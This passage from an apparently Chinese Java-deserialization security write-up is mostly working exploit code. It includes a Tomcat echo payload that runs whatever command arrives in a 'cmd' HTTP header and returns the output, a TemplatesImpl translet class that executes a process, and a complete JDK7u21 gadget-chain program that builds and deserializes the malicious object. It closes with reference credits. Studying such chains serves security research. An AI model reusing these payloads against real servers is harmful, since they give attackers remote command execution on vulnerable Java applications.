                    obj = field.get(obj);

                    field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
                    field.setAccessible(true);
                    obj = field.get(obj);


                    field = obj.getClass().getDeclaredField("global");
                    field.setAccessible(true);
                    obj = field.get(obj);

                    field = obj.getClass().getDeclaredField("processors");
                    field.setAccessible(true);
                    obj = field.get(obj);

                    ArrayList processors = (ArrayList) obj;

                    for(int m=0;m<processors.size();m++){
                        Object o = processors.get(m);
                        if(o != null && o.getClass().toString().contains("RequestInfo")){
                            field = o.getClass().getDeclaredField("req");
                            field.setAccessible(true);
                            obj = field.get(o);

                            if(!obj.toString().contains("null")) {
                                Request request = (Request) obj;
                                String cmd = request.getHeader("cmd");
                                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                                byte[] buff = new byte[1024];
                                int rc = 0;
                                while ((rc = in.read(buff, 0, 1024)) > 0) {
                                    byteArrayOutputStream.write(buff, 0, rc);
                                }
                                byte[] buf = byteArrayOutputStream.toByteArray();

                                request.getResponse().doWrite(ByteBuffer.wrap(buf));
                            }
                        }
                    }
                }
            }

        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

回显这里可以参考以下文章思路

JDK7u21原生链

Evil.java

package com.rce;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

rce代码如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class rce {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {clazz.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(rce.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(obj);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, obj);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

参考

参考的太多了,除了文中列举的,总结个大概

  • P🐮的知识星球的文章,CC链主要参考《Java安全漫谈》系列,Fastjson参考星球上《FastJson安全入门初探》
  • 部分理解来自H0t-A1r-B4llo0n师傅博客:https://www.guildhab.top/
  • 另外还有先知上的文章就不一一列举了

感谢师傅们!